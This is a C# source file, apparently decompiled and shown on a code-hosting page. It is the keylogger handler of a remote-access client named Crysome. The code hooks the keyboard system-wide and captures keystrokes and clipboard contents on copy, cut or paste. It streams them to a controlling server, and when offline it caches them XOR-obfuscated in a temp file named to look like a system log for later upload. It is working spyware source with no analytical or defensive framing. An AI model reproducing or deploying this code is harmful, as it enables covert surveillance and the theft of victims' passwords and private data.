387 lines
8.3 KiB
C#
387 lines
8.3 KiB
C#
using System;
|
|||
|
|
using System.Diagnostics;
|
||
|
|
using System.IO;
|
||
|
|
using System.Runtime.InteropServices;
|
||
|
|
using System.Text;
|
||
|
|
using System.Threading;
|
||
|
|
using Crysome.Client.Util;
|
||
|
|
using Crysome.Common.Network;
|
||
|
|
using Crysome.Common.Network.Packets;
|
||
|
|
using Crysome.Common.Network.Packets.Client;
|
||
|
|
|
||
|
|
namespace Crysome.Client.Handlers;
|
||
|
|
|
||
|
|
public static class KeyloggerHandlers
|
||
|
|
{
|
||
|
|
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
|
||
|
|
|
||
|
|
private struct MSG
|
||
|
|
{
|
||
|
|
public IntPtr hwnd;
|
||
|
|
|
||
|
|
public uint message;
|
||
|
|
|
||
|
|
public IntPtr wParam;
|
||
|
|
|
||
|
|
public IntPtr lParam;
|
||
|
|
|
||
|
|
public uint time;
|
||
|
|
|
||
|
|
public POINT pt;
|
||
|
|
}
|
||
|
|
|
||
|
|
private struct POINT
|
||
|
|
{
|
||
|
|
public int X;
|
||
|
|
|
||
|
|
public int Y;
|
||
|
|
}
|
||
|
|
|
||
|
|
private struct KBDLLHOOKSTRUCT
|
||
|
|
{
|
||
|
|
public uint vkCode;
|
||
|
|
|
||
|
|
public uint scanCode;
|
||
|
|
|
||
|
|
public uint flags;
|
||
|
|
|
||
|
|
public uint time;
|
||
|
|
|
||
|
|
public IntPtr dwExtraInfo;
|
||
|
|
}
|
||
|
|
|
||
|
|
private static volatile bool _running;
|
||
|
|
|
||
|
|
private static CrysomeClient _client;
|
||
|
|
|
||
|
|
private static IntPtr _hookId = IntPtr.Zero;
|
||
|
|
|
||
|
|
private static readonly object _lock = new object();
|
||
|
|
|
||
|
|
private static readonly StringBuilder _buffer = new StringBuilder();
|
||
|
|
|
||
|
|
private static DateTime _lastSend = DateTime.MinValue;
|
||
|
|
|
||
|
|
private const int FlushIntervalMs = 2000;
|
||
|
|
|
||
|
|
private const int MaxBufferChars = 500;
|
||
|
|
|
||
|
|
private static readonly string _offlineFilePath = Path.Combine(Path.GetTempPath(), "Msvcrtd86_tmp.log");
|
||
|
|
|
||
|
|
private const byte XorKey = 167;
|
||
|
|
|
||
|
|
private const int WH_KEYBOARD_LL = 13;
|
||
|
|
|
||
|
|
private const int WM_KEYDOWN = 256;
|
||
|
|
|
||
|
|
private const int WM_KEYUP = 257;
|
||
|
|
|
||
|
|
private const int WM_SYSKEYDOWN = 260;
|
||
|
|
|
||
|
|
private const int WM_SYSKEYUP = 261;
|
||
|
|
|
||
|
|
private static volatile bool _ctrlDown;
|
||
|
|
|
||
|
|
private const uint LLKHF_INJECTED = 16u;
|
||
|
|
|
||
|
|
private const int VK_CONTROL = 17;
|
||
|
|
|
||
|
|
private const int VK_LCONTROL = 162;
|
||
|
|
|
||
|
|
private const int VK_RCONTROL = 163;
|
||
|
|
|
||
|
|
private const uint PM_REMOVE = 1u;
|
||
|
|
|
||
|
|
private static LowLevelKeyboardProc _proc = HookCallback;
|
||
|
|
|
||
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||
|
|
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
|
||
|
|
|
||
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||
|
|
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
|
||
|
|
|
||
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||
|
|
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||
|
|
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
||
|
|
|
||
|
|
[DllImport("user32.dll")]
|
||
|
|
private static extern bool PeekMessage(out MSG lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax, uint wRemoveMsg);
|
||
|
|
|
||
|
|
[DllImport("user32.dll")]
|
||
|
|
private static extern bool TranslateMessage(ref MSG lpMsg);
|
||
|
|
|
||
|
|
[DllImport("user32.dll")]
|
||
|
|
private static extern IntPtr DispatchMessage(ref MSG lpMsg);
|
||
|
|
|
||
|
|
public static void HandleStartKeylogger(CrysomeClient client, IPacket packet)
|
||
|
|
{
|
||
|
|
lock (_lock)
|
||
|
|
{
|
||
|
|
if (!_running)
|
||
|
|
{
|
||
|
|
_client = client;
|
||
|
|
_running = true;
|
||
|
|
_ctrlDown = false;
|
||
|
|
_buffer.Clear();
|
||
|
|
Thread thread = new Thread(RunHook);
|
||
|
|
thread.IsBackground = true;
|
||
|
|
thread.Start();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
public static void HandleStopKeylogger(CrysomeClient client, IPacket packet)
|
||
|
|
{
|
||
|
|
lock (_lock)
|
||
|
|
{
|
||
|
|
_running = false;
|
||
|
|
if (_hookId != IntPtr.Zero)
|
||
|
|
{
|
||
|
|
UnhookWindowsHookEx(_hookId);
|
||
|
|
_hookId = IntPtr.Zero;
|
||
|
|
}
|
||
|
|
FlushBuffer();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
public static void UploadOfflineDataIfAny(CrysomeClient client)
|
||
|
|
{
|
||
|
|
//IL_0064: Unknown result type (might be due to invalid IL or missing references)
|
||
|
|
//IL_006e: Expected O, but got Unknown
|
||
|
|
try
|
||
|
|
{
|
||
|
|
if (!File.Exists(_offlineFilePath))
|
||
|
|
{
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
byte[] array = File.ReadAllBytes(_offlineFilePath);
|
||
|
|
if (array != null && array.Length != 0)
|
||
|
|
{
|
||
|
|
for (int i = 0; i < array.Length; i++)
|
||
|
|
{
|
||
|
|
array[i] ^= 167;
|
||
|
|
}
|
||
|
|
string text = Encoding.UTF8.GetString(array);
|
||
|
|
if (!string.IsNullOrWhiteSpace(text) && client != null && client.IsConnected)
|
||
|
|
{
|
||
|
|
client.SendPacket((IPacket)new OfflineKeylogDataPacket(text));
|
||
|
|
File.Delete(_offlineFilePath);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static void RunHook()
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
using (Process process = Process.GetCurrentProcess())
|
||
|
|
{
|
||
|
|
using ProcessModule processModule = process.MainModule;
|
||
|
|
_hookId = SetWindowsHookEx(13, _proc, GetModuleHandle(processModule.ModuleName), 0u);
|
||
|
|
}
|
||
|
|
if (_hookId == IntPtr.Zero)
|
||
|
|
{
|
||
|
|
Program.Log("Keylogger: SetWindowsHookEx failed");
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
try
|
||
|
|
{
|
||
|
|
while (_running)
|
||
|
|
{
|
||
|
|
MSG lpMsg;
|
||
|
|
while (PeekMessage(out lpMsg, IntPtr.Zero, 0u, 0u, 1u))
|
||
|
|
{
|
||
|
|
TranslateMessage(ref lpMsg);
|
||
|
|
DispatchMessage(ref lpMsg);
|
||
|
|
}
|
||
|
|
Thread.Sleep(20);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
finally
|
||
|
|
{
|
||
|
|
if (_hookId != IntPtr.Zero)
|
||
|
|
{
|
||
|
|
UnhookWindowsHookEx(_hookId);
|
||
|
|
_hookId = IntPtr.Zero;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Program.Log("Keylogger: " + ex.Message);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
|
||
|
|
{
|
||
|
|
if (nCode >= 0 && _running)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
KBDLLHOOKSTRUCT kBDLLHOOKSTRUCT = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
|
||
|
|
if ((kBDLLHOOKSTRUCT.flags & 0x10) != 0)
|
||
|
|
{
|
||
|
|
return CallNextHookEx(_hookId, nCode, wParam, lParam);
|
||
|
|
}
|
||
|
|
int vkCode = (int)kBDLLHOOKSTRUCT.vkCode;
|
||
|
|
bool flag = wParam == (IntPtr)256 || wParam == (IntPtr)260;
|
||
|
|
if (wParam == (IntPtr)257)
|
||
|
|
{
|
||
|
|
_ = 1;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
_ = wParam == (IntPtr)261;
|
||
|
|
if (vkCode == 17 || vkCode == 162 || vkCode == 163)
|
||
|
|
{
|
||
|
|
_ctrlDown = flag;
|
||
|
|
return CallNextHookEx(_hookId, nCode, wParam, lParam);
|
||
|
|
}
|
||
|
|
if (flag)
|
||
|
|
{
|
||
|
|
if (_ctrlDown && (vkCode == 67 || vkCode == 86 || vkCode == 88))
|
||
|
|
{
|
||
|
|
string value = vkCode switch
|
||
|
|
{
|
||
|
|
86 => "PASTE",
|
||
|
|
67 => "COPY",
|
||
|
|
_ => "CUT",
|
||
|
|
};
|
||
|
|
string textTruncated = ClipboardSta.GetTextTruncated(400);
|
||
|
|
lock (_buffer)
|
||
|
|
{
|
||
|
|
_buffer.Append(" [").Append(value).Append(":")
|
||
|
|
.Append(textTruncated)
|
||
|
|
.Append("] ");
|
||
|
|
TryFlush();
|
||
|
|
}
|
||
|
|
return CallNextHookEx(_hookId, nCode, wParam, lParam);
|
||
|
|
}
|
||
|
|
if (!_ctrlDown)
|
||
|
|
{
|
||
|
|
char c = KeyToChar(vkCode);
|
||
|
|
if (c != 0)
|
||
|
|
{
|
||
|
|
lock (_buffer)
|
||
|
|
{
|
||
|
|
_buffer.Append(c);
|
||
|
|
TryFlush();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return CallNextHookEx(_hookId, nCode, wParam, lParam);
|
||
|
|
}
|
||
|
|
|
||
|
|
private static void TryFlush()
|
||
|
|
{
|
||
|
|
if (_buffer.Length >= 500 || (DateTime.Now - _lastSend).TotalMilliseconds >= 2000.0)
|
||
|
|
{
|
||
|
|
FlushBuffer();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static char KeyToChar(int vk)
|
||
|
|
{
|
||
|
|
if (vk >= 48 && vk <= 57)
|
||
|
|
{
|
||
|
|
return (char)vk;
|
||
|
|
}
|
||
|
|
if (vk >= 65 && vk <= 90)
|
||
|
|
{
|
||
|
|
return (char)vk;
|
||
|
|
}
|
||
|
|
return vk switch
|
||
|
|
{
|
||
|
|
32 => ' ',
|
||
|
|
13 => '\n',
|
||
|
|
8 => '\b',
|
||
|
|
9 => '\t',
|
||
|
|
186 => ';',
|
||
|
|
187 => '=',
|
||
|
|
188 => ',',
|
||
|
|
189 => '-',
|
||
|
|
190 => '.',
|
||
|
|
191 => '/',
|
||
|
|
192 => '`',
|
||
|
|
219 => '[',
|
||
|
|
220 => '\\',
|
||
|
|
221 => ']',
|
||
|
|
222 => '\'',
|
||
|
|
_ => '\0',
|
||
|
|
};
|
||
|
|
}
|
||
|
|
|
||
|
|
private static void FlushBuffer()
|
||
|
|
{
|
||
|
|
//IL_0064: Unknown result type (might be due to invalid IL or missing references)
|
||
|
|
//IL_006e: Expected O, but got Unknown
|
||
|
|
string text;
|
||
|
|
lock (_buffer)
|
||
|
|
{
|
||
|
|
if (_buffer.Length == 0)
|
||
|
|
{
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
text = _buffer.ToString();
|
||
|
|
_buffer.Clear();
|
||
|
|
_lastSend = DateTime.Now;
|
||
|
|
}
|
||
|
|
try
|
||
|
|
{
|
||
|
|
CrysomeClient client = _client;
|
||
|
|
if (client != null && client.IsConnected)
|
||
|
|
{
|
||
|
|
_client.SendPacket((IPacket)new KeylogDataPacket(text));
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
PersistOffline(text);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
PersistOffline(text);
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static void PersistOffline(string data)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
byte[] bytes = Encoding.UTF8.GetBytes(data);
|
||
|
|
for (int i = 0; i < bytes.Length; i++)
|
||
|
|
{
|
||
|
|
bytes[i] ^= 167;
|
||
|
|
}
|
||
|
|
if ((File.Exists(_offlineFilePath) ? new FileInfo(_offlineFilePath).Length : 0) < 524288)
|
||
|
|
{
|
||
|
|
using (FileStream fileStream = new FileStream(_offlineFilePath, FileMode.Append, FileAccess.Write))
|
||
|
|
{
|
||
|
|
fileStream.Write(bytes, 0, bytes.Length);
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|